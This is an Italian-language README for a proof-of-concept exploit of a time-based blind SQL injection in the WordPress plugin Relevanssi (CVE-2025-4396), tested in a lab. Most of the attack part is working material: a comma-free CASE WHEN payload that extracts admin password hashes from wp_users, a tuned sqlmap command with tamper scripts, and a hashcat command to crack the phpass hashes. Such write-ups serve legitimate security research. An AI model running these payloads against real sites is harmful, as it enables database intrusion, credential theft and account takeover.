CVE-2025-4396 — Iniezione SQL in Relevanssi (Blind basata sul tempo)
Disclaimer: Questo repository è destinato esclusivamente a test di penetrazione autorizzati, ricerca sulla sicurezza e scopi didattici. L'accesso non autorizzato a sistemi informatici è illegale e non etico.
Panoramica
Un exploit proof-of-concept per una vulnerabilità di SQL injection blind basata sul tempo nel plugin WordPress Relevanssi 4.24.4. Questa implementazione affronta specificamente ambienti rafforzati dove:
- Le virgole sono filtrate — rompendo la sintassi standard
SUBSTR(str, pos, len) e IF(cond, true, false)
- Comportamento greedy di sleep — causando l'esecuzione di
SLEEP() da parte di MySQL prima di valutare l'espressione completa, producendo falsi positivi
Contesto
In alcuni ambienti (ad esempio, il lab DVWP), i payload standard di SQL injection falliscono per due ragioni principali:
| Problema | Effetto |
|---|
| Rimozione virgole | Rompe SUBSTR(str, pos, len) e IF(cond, true, false) |
SLEEP() greedy | MySQL valuta sleep prima dell'espressione booleana completa, causando falsi positivi |
Entrambi i problemi richiedono soluzioni mirate — coperte dagli approcci manuali e automatici di seguito.
Exploit manuale (asy.py)
Uno script Python asincrono che fornisce un'estrazione chirurgica carattere per carattere. Evita il sovraccarico degli strumenti automatici e aggira il filtraggio delle virgole tramite la logica CASE WHEN.
Caratteristiche
| Funzionalità | Implementazione |
|---|
| I/O asincrono | aiohttp per richieste non bloccanti |
Logica di iniezione principale
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Perché CASE WHEN invece di IF()?
IF() usa virgole ed è soggetto a valutazione greedy. CASE WHEN valuta pigramente, garantendo che SLEEP() venga attivato solo quando la condizione è genuinamente TRUE.
Exploit automatico (SQLMap)
SQLMap può automatizzare la scoperta in questo ambiente utilizzando specifici script tamper e flag.
Comando
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
Riferimento flag
Nota su --threads=1: Questo è essenziale per un'estrazione affidabile. Più thread causano la sovrapposizione dei ritardi di sleep, corrompendo i tempi della ricerca binaria e producendo output distorto.
Risultati di laboratorio
| Campo | Valore |
|---|
| Target | Tabella di WordPress |
Cracking dell'hash
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- Il modo
-m 400 ha come target gli hash phpass
- L'attacco
-a 0 è un attacco dizionario diretto usando rockyou.txt
Riferimenti